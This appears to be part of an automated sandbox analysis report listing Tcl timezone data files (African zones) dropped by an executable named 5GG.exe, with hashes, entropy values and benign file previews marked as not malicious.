SHA-256:	E7F7560CCD65D53C446ADAE7128A74D37E17DD0B907A2F2FD85322FB8707B497
SHA-512:	3C3F7D78E9A0DE6E2950E1C305EA2DBC986754AE9FB10AC410685F30C39EC235F6F221393099C012E62EE5A7B4F1BED67C96B7B81E90BBA064BA9FE685FE4050
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Djibouti) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Douala

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.850101792457859
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2DcnKe2DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2Dml2D4yn
MD5:	44881E75AC32FA95FF6143066EF01B90
SHA1:	A221619B4CDE8BE6A181E1F3869EAB665F2E98B8
SHA-256:	FCF2DAD148F4D2951320EA99730C56D5EB43D505F37416BE4BAD265CE2902706
SHA-512:	4FA67A5F84758366189F0FC4A7FA6C820BA083E1C56EA95D25D21A367F25F76261B7EB5631DFFEB20E095CFD64E770338773F76BD50D4CF6AE29AD3EDFCEC408
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Douala) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\El_Aaiun

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5235
Entropy (8bit):	3.541189246992611
Encrypted:	false
SSDEEP:	96:+eCJZtmaG6/eszBrlxs5MRhk9xPmwv7KbGKCDp0d:+eqZSszBrlKcJC9k
MD5:	956F5B51FA8BA2E954A0E59AAC8F3276
SHA1:	AE35A8502E57EA6EE173E3B42509E4CAC73DA091
SHA-256:	5FB102A95B3C004AAB8371840B1A04AC352F48FF9E9EAFDEAAF21960B0F3CAA6
SHA-512:	19E7F2574E2B62DF68CC24737F6B94864B3D64B2472BC7D78E6AB5142A1DC1AB3B3700AB802129CB16AED4A4FED29E2B8A5593EE327ADF496255FE2FEF6A7023
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/El_Aaiun) {.. {-9223372036854775808 -3168 0 LMT}.. {-1136070432 -3600 0 -01}.. {198291600 0 0 +00}.. {199756800 3600 1 +00}.. {207702000 0 0 +00}.. {231292800 3600 1 +00}.. {244249200 0 0 +00}.. {265507200 3600 1 +00}.. {271033200 0 0 +00}.. {1212278400 3600 1 +00}.. {1220223600 0 0 +00}.. {1243814400 3600 1 +00}.. {1250809200 0 0 +00}.. {1272758400 3600 1 +00}.. {1281222000 0 0 +00}.. {1301788800 3600 1 +00}.. {1312066800 0 0 +00}.. {1335664800 3600 1 +00}.. {1342749600 0 0 +00}.. {1345428000 3600 1 +00}.. {1348970400 0 0 +00}.. {1367114400 3600 1 +00}.. {1373162400 0 0 +00}.. {1376100000 3600 1 +00}.. {1382839200 0 0 +00}.. {1396144800 3600 1 +00}.. {1403920800 0 0 +00}.. {1406944800 3600 1 +00}.. {1414288800 0 0 +00}.. {1427594400 3600 1 +00}.. {1434247200 0 0 +00}.. {1437271200 3600 1 +00}.. {1445738400 0 0 +00}.. {1

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Freetown

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.866631090752554
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2Dcu5sp4DcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2Dk4DBS
MD5:	6C115220CF951FC2EE3C299F86935B6D
SHA1:	A1CAB8C710BF20553AF45343118C1726CFE922B7
SHA-256:	BC53A4D489F48F14C594C4B0E52079B34E043A5751BBC7DF254A560352243575
SHA-512:	E87A4FD145B645DF034182CAD7F9D2BE5B2D9F3A17B6A9B6C84A0B3E846D92EC4C69DF2E85129B7A1AFBC0CCAAC8E3B1D47EB09F0900A82B908E9F6BF63B9736
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Freetown) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Gaborone

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.899477454245453
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2DcHK0o/4DcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2DAV+4Dt
MD5:	07222D8ED83CDC456B4D5D84C4BDE320
SHA1:	2C657F461FA3F48D56C791AFE4AB7D2EAF45AF60
SHA-256:	653AF88955C4418D973E2F8681A99552EB7BE95BCA64C736072F488462F7B373
SHA-512:	3016D0636F401BD88BCD460F6A61782E7E8A2C32CE4ECB904C711DF414038A5818F0CA3D7FC671C5ABCE70647FC674A2EF9081C5289EBFD184B44885902E007A
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Gaborone) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Harare

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.884642061266759
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2Dc0B5h4DcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2Dlfh4Dt
MD5:	8666DABE8D196ACD94A9691C592FAF4E
SHA1:	9F7EE009DCEAACA79C6EAA6FC73015D595467919
SHA-256:	06B82C524585192E0E8FC69DCC1CF86183A8C5EF404645DC413FCF3F8C16B0AB
SHA-512:	AAA32FD1B01BFECDD0D1C9C1DF1163374DAFE094C75720EA4095C34F7EAE7DCB594D1A7F6A2A90FB43FF01020F7AEB48E92496E0EE2D039AF23076CD369DD2A7
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Harare) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Johannesburg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	309
Entropy (8bit):	4.695542624694403
Encrypted:	false
SSDEEP:	6:SlSWB9eg/2DWbzDm2OHePoHvmmXsd//HF2d7d6VcF2d6KsYov:MB862DW7mdHePCvmmcZvF0cVcF/KsFv
MD5:	F0E153FC9B978E30742ABC025CA45E02
SHA1:	73D96F3188190DAC2453E6F18A1C683CECB9CDE3
SHA-256:	5EEF6475E1312051037FCAE3354E32DC0910BE7A5116B71F8CCBE1CCA08D3F1C
SHA-512:	E66F4B5FF18BAAD53AFB1ED36A0827115C793075A61F794F26F32BC9F6799DF816A1F817BEB0C0BC938F89E6F5BFBE1AB4F504F1AF518764103FB287746552C7
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Johannesburg) {.. {-9223372036854775808 6720 0 LMT}.. {-2458173120 5400 0 SAST}.. {-2109288600 7200 0 SAST}.. {-860976000 10800 1 SAST}.. {-845254800 7200 0 SAST}.. {-829526400 10800 1 SAST}.. {-813805200 7200 0 SAST}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Juba

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	4.027824722230131
Encrypted:	false
SSDEEP:	24:5mesdOkMV0GbMSHMzNy8MXLwM0JXMfCsMzaMq0QM3W50dM44R8M1XMreM7p0z8M5:5YMV04MSHMzNxMbwM0JXMfCsMzaMq0QJ
MD5:	32EC0589260D9D4BCC85FE91E6F04D00
SHA1:	BAA269852C4AC6B89EA7941E7A75A007E0CF9EDF
SHA-256:	F2646E15488ABF2E960759CEFE5705416E71DA71BB8407B26196244FD1A3394F
SHA-512:	4F485453BE1D186ADBE0908852475C63C57BA498091C222EFFB9A5FEA2DB7F55E1BB2DBDBF6AC0F24CC67D47549FA3F5257655B5449B1BCF1FB5CDB27B03D501
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Juba) {.. {-9223372036854775808 7588 0 LMT}.. {-1230775588 7200 0 CAT}.. {10360800 10800 1 CAST}.. {24786000 7200 0 CAT}.. {41810400 10800 1 CAST}.. {56322000 7200 0 CAT}.. {73432800 10800 1 CAST}.. {87944400 7200 0 CAT}.. {104882400 10800 1 CAST}.. {119480400 7200 0 CAT}.. {136332000 10800 1 CAST}.. {151016400 7200 0 CAT}.. {167781600 10800 1 CAST}.. {182552400 7200 0 CAT}.. {199231200 10800 1 CAST}.. {214174800 7200 0 CAT}.. {230680800 10800 1 CAST}.. {245710800 7200 0 CAT}.. {262735200 10800 1 CAST}.. {277246800 7200 0 CAT}.. {294184800 10800 1 CAST}.. {308782800 7200 0 CAT}.. {325634400 10800 1 CAST}.. {340405200 7200 0 CAT}.. {357084000 10800 1 CAST}.. {371941200 7200 0 CAT}.. {388533600 10800 1 CAST}.. {403477200 7200 0 CAT}.. {419983200 10800 1 CAST}.. {435013200 7200 0 CAT}.. {452037600 10800 1 CAST}.. {466635600 7200

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Kampala

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.837466713772859
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2DcJEl2DcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2DIEl2V
MD5:	E929ED1BC316C71AABE7E625BD562FB1
SHA1:	C20C172518C02D93327F4BBBC5D410BFFEF5039D
SHA-256:	8EA3028CE2B025F0C457DC8F7601279CA5AF565A88B9FE80208F9F1030F2B0D0
SHA-512:	B2FBCF06EACCF18DE97AF1D6BC57D9638E0A36DBF17044FF97F6B9E5089CF9E13E1304F304495324C0ACC1128A7D2D494E7C1FDB95DB0855FCE54F7028096C50
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Kampala) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Khartoum

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	4.0421745451318385
Encrypted:	false
SSDEEP:	24:5xe9dSXMV0GbMSHMzNy8MXLwM0JXMfCsMzaMq0QM3W50dM44R8M1XMreM7p0z8MM:5hMV04MSHMzNxMbwM0JXMfCsMzaMq0Qc
MD5:	2BD3850DDBE2F05BF6F24F3AEFF7516C
SHA1:	22B0DBB54E071F30D51A8654CF103F99537F74CD
SHA-256:	F475DB8A857A46B310B12C21D6A9BC6CA9FF2960DA429A9D57FA375F9439E13B
SHA-512:	1CF82FC07348C697F26625673DA7E3D734358B3FBE69D8E2132CAC0D9F00C7E8CDC353676CD9BAC4CBB9E26CF6638CEAE41DF559E7445D9C453409D7115FFC6C
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Khartoum) {.. {-9223372036854775808 7808 0 LMT}.. {-1230775808 7200 0 CAT}.. {10360800 10800 1 CAST}.. {24786000 7200 0 CAT}.. {41810400 10800 1 CAST}.. {56322000 7200 0 CAT}.. {73432800 10800 1 CAST}.. {87944400 7200 0 CAT}.. {104882400 10800 1 CAST}.. {119480400 7200 0 CAT}.. {136332000 10800 1 CAST}.. {151016400 7200 0 CAT}.. {167781600 10800 1 CAST}.. {182552400 7200 0 CAT}.. {199231200 10800 1 CAST}.. {214174800 7200 0 CAT}.. {230680800 10800 1 CAST}.. {245710800 7200 0 CAT}.. {262735200 10800 1 CAST}.. {277246800 7200 0 CAT}.. {294184800 10800 1 CAST}.. {308782800 7200 0 CAT}.. {325634400 10800 1 CAST}.. {340405200 7200 0 CAT}.. {357084000 10800 1 CAST}.. {371941200 7200 0 CAT}.. {388533600 10800 1 CAST}.. {403477200 7200 0 CAT}.. {419983200 10800 1 CAST}.. {435013200 7200 0 CAT}.. {452037600 10800 1 CAST}.. {466635600 7

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Kigali

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.910322325134086
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2DcCJRx+DcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2DRX+DEi
MD5:	3017253E1C6ACCA8D470A014E4BB321D
SHA1:	671B7AC04580B56E2C34F88D123E8296947DDD7E
SHA-256:	73FEB807006897B4B485CB82394867444E890265EFE960EC66D6C0E325DA9372
SHA-512:	2498C380D761A16C183D78BC1BB18B1D2A1BFCB9C703D86A3FC04CCCE43D88C8D4BC3C47CC31639B78A5FE9C8A7445E9DBB52062E2F3B737DA1E7D0FF70F140A
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Kigali) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Kinshasa

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.866127364448228
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2DcqQFeDcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2DdD4yn
MD5:	41209A335A99803239A854575190C5ED
SHA1:	E6EA627C25513B9DDE053F9A24D509AA317C30A1
SHA-256:	611375C4901AD6C4844C2BB7D02FB17F34996F49E642546A6784D6F0B28530CC
SHA-512:	DF2C0B131F35F54DF5EBF7F8459F98DBABEB6F081247BA95B5D7B41146E2A2EF9BC6B1D909DE57A1223D9C258AB197D9668ED2E111A365C86BABDAA7DF551FB6
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Kinshasa) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Lagos

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	235
Entropy (8bit):	4.7936510664790815
Encrypted:	false
SSDEEP:	6:SlSWB9eg/2D4JDm2OHWQvvoHvBsp9boFvoHzIX7uRe6vF9:MB862DymdHWQCvqpmVCzIq
MD5:	EC08046589E85D999A597252FF5368B7
SHA1:	126E3DE158E1E7AF4737D0AB5B51C0F92F416DC7
SHA-256:	DCC9F52F539A67DFD7ABAFDE072ACDAE2B67754C559C8A5FE61979F5A286A066
SHA-512:	84B9AB18BC343C8B8934F5FDD2E2EB413925B04D6F5394AA8337B7B55E6487FB071A83A69BD4D0FA40F7F31EBC57B9908729674542CEA3083D700FCD02D77633
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Lagos) {.. {-9223372036854775808 815 0 LMT}.. {-2035584815 0 0 GMT}.. {-1940889600 815 0 LMT}.. {-1767226415 1800 0 +0030}.. {-1588465800 3600 0 WAT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Libreville

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.865878143076229
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2Dcr7bp4DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2Dgfp4D4y
MD5:	35D8A58EE21E603C6FC4FB896AE6B3D0
SHA1:	F1D0A939D761F3F0954F045814CF5339A5597036
SHA-256:	AB3E797548C7663CF9ABA7FE163635FF7CAB9E6CB61FA1644C0F7B4B5CCE8B99
SHA-512:	97717961987F6B6832C24A7833150CDFE7E82BBEB32DFDB84D2500442AAD9263F8BD4E879591E913D56E9A1991C389EF730211853647A889F358AE3FA37C0185
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Libreville) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Lome

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.862780607964543
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2Dcih4DcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2DNh4D4
MD5:	EA21ABBF8B11953916A1C509B8A1B427
SHA1:	35ADC230C57B001BE8A99A3D2E34B609A60A1162
SHA-256:	EACA9124F17E5B11F27D11FA6141D19EB3AC23E155E155B73467BDAA3BC99AA7
SHA-512:	A7972D4F1C5FB988CA04B39E2CDD580F51383BA9D7A66C478275C11A07B8D7A6EFF53A3E1929B0D89F10BCC39D22F285DB2601ED60DB4647C65465643F70C137
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Lome) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Luanda

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.856982839546061
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2DccLtBQDcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2DXQD4yn
MD5:	40CD47F6DCF51EBEFEF42489F1716257
SHA1:	DF245192A1899A72DE01A57F6969AC060E841734
SHA-256:	4C2FD1E44DFAAF0C0DD2EB56B84B538F1E2D84B301AB2CFB8EE7759783501444
SHA-512:	D39BEB0EEF344B1A44F7D6A806A1D5B956D7D402648EE0C67C4BA46493236840AF975D89A91B2D33B8AA7D6DC9A051E66718DCDBC1C83B0E964215C2E32ED923
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Luanda) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Lubumbashi

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.940313336280723
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2DcfpT0DcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2D8pT0Dt
MD5:	71A5DE1276902DB1542840318F9B1AF3
SHA1:	AC3825BF343482E0E4D9D6FAA6FCA4D1A125433B
SHA-256:	24384EEC359FD24D181AAEF3C017E3C345490A8D352B29D19B1B143A29A811C2
SHA-512:	2984EB42A79B8B32BB93DFE71F1C4C0CABFDC9B0A199971347BB3473463FA07FDB5D20227D288BF8653B1BDE347E1297459BBB4C3C34AF7A5434FBF945683577
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Lubumbashi) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Lusaka

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.905174746463853
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2DcOf+DcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2DkDEi
MD5:	1D7FDB388535CC59742CA0F1AEE27FBD
SHA1:	A99FF2CAC47FD333429C22B271E190D979EEC024
SHA-256:	B00801A7279741434D9C2D7EC7322DD93B85EA4F5C9976AB3A43F0AB142E1553
SHA-512:	0174D3C6F9116C36C62AD1EB58203EE7DFE8C37F618B8449D5E45AD6290CF8334F28798877D7A563A12EE533026244D6A49BCCF29B5D7FCB5BCC91481D0DDDE2
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Lusaka) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Malabo

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.857096806490649
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2Dcn2DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2D42D4yn
MD5:	1CA9B3E7BCD5BC1CC881453D16B09389
SHA1:	1B1964B314E72847D71A42C147CF2BF331B44461
SHA-256:	35D56EFFE9E7E60F17B32BD30486E566B635F0AE7A8948D77395B8E6332E26F1
SHA-512:	9E08D57B7824F5B076D159D9A5106E51450DF24729C36F485B9B68E8F47E8DFC50F9BEC3F11E0AE6579A8E372A5C0F0DA18A2E797CF2115519D1B4E5B64413DD
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Malabo) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Maputo

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.952872531197478
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QF08x/2DcfKiMXGm2OHoVoHvdSF2I:SlSWB9eg/2DEZDm2OHoVoHvdI
MD5:	CD429B6891CBF603A93F9A9733E2391B
SHA1:	C6833B83B6D1694AC632018A27915E6F97F708AE
SHA-256:	FE6B6A4BE1B61F7F909A3F6137530DFE6D1754499A4D9B0D1CE4952FFF0AE62D
SHA-512:	6E57B70B71515998AD617954F9DDAE19968B20946542201153DAB47FBE63790D42F41AE29148ECBCE6D12812879BCF0A4EC881507B62CDB2675AB20267220BF9
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Maputo) {.. {-9223372036854775808 7820 0 LMT}.. {-2109291020 7200 0 CAT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Maseru

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.964472328419063
Encrypted:	false
SSDEEP:	6:SlSWB9vsM3y7HbsSHAIgNTzbrN/2DZQs+DWb4n:MByMaHw7NH/t2DZiDWU
MD5:	88C8FF2B480648EDADBD0FB93F754275
SHA1:	BED7A784C378909914CEB0D303DFE6D05FD576B7
SHA-256:	1D80FD86CB733D57D88ECD404E702F750B233ED0CCBFBFFFEED1AAD3B7F1CB04
SHA-512:	CB7F831CF099E85B948AE57FCE9D91C7EAAD39753AF82C56EC15B65830EB4115A71BBC83A71A2AC947CAB24DEDDB557E02FAA5A3264546AE6E60607DF6BD2FA3
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Johannesburg)]} {.. LoadTimeZoneFile Africa/Johannesburg..}..set TZData(:Africa/Maseru) $TZData(:Africa/Johannesburg)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Mbabane

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.957246428185456
Encrypted:	false
SSDEEP:	6:SlSWB9vsM3y7HbsSHAIgNTzbrN/2DzjEHp4DWb4n:MByMaHw7NH/t2DzjEJ4DWU
MD5:	CA7255B86425BA706D214924856B6818
SHA1:	E9BE6CF871BB1786E842953D41392299952EC9AC
SHA-256:	547197C09C1987350AE5720A4EEC7E8D8F4B9F4A0559726E225E13C707F7C564
SHA-512:	23F9AD0F926A0945A17BBC3DCFF9A3D7EE68EC9423EA78985F5FFC60CC61641B57871F9AA703B5FB9BE842DCD4693D0641F9EDED702240873F58D24CD4D60C32
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Johannesburg)]} {.. LoadTimeZoneFile Africa/Johannesburg..}..set TZData(:Africa/Mbabane) $TZData(:Africa/Johannesburg)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Mogadishu

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	187
Entropy (8bit):	4.877126792757121
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2DcBEBXCEeDcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2DFSVDR
MD5:	5C2E2B5189E0E816D5BD7AFC8B49A35E
SHA1:	4E43A1ED51399528636D6442B1DDFFD820911407
SHA-256:	25E221BE49DEC5547A74AEB91B0041859C59BC866987272A447AB2343D1CC30C
SHA-512:	B74735CFAB692756BAADFB1A51A8CC0C986F981D8E7E7A8182370A9017E67439875F0115820A349AFB3BE2FA581A721440968EF817471DD2C5E1286E53B2FE99
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Mogadishu) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Monrovia

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.8660011420394955
Encrypted:	false
SSDEEP:	6:SlSWB9eg/2D3NPDm2OHrFGxYoHvlHIg5pTwdPsy:MB862D3NbmdHhmYCvdIg5GPsy
MD5:	1B3C94B5098E454981C73C1F2AF80164
SHA1:	1EBA9E2DBEA70BB1AE5EB13739518AB5A62D2130
SHA-256:	2BF0D90610211651127402680519B29AB50B15D344263D0C1A22EDEBE5E01E27
SHA-512:	DA4A0BCE7C6750BD7D3BA76B6301B9390723BE0C001C39BE453D80BD87020C2253A75629F68F83C19410D2A75FAF5223A435299CD4AA53DE545EC7C5B5AA54B7
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Monrovia) {.. {-9223372036854775808 -2588 0 LMT}.. {-2776979812 -2588 0 MMT}.. {-1604359012 -2670 0 MMT}.. {63593070 0 0 GMT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Nairobi

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	277
Entropy (8bit):	4.655052651600954
Encrypted:	false
SSDEEP:	6:SlSWB9eg/2Dk1Dm2OHsvT5oH99VCV22ufPnVCkVBKBQn9q:MB862DGmdHsvVCjkifvdH9q
MD5:	B640661FB37BB74FAB172DBDF1B433E1
SHA1:	0236A5B53443A4A18B8B9D6AA7732620BE9A6553
SHA-256:	BD8E9765174431C0D403249D3E881C949C83966E9F8162552DA88AE53132467B
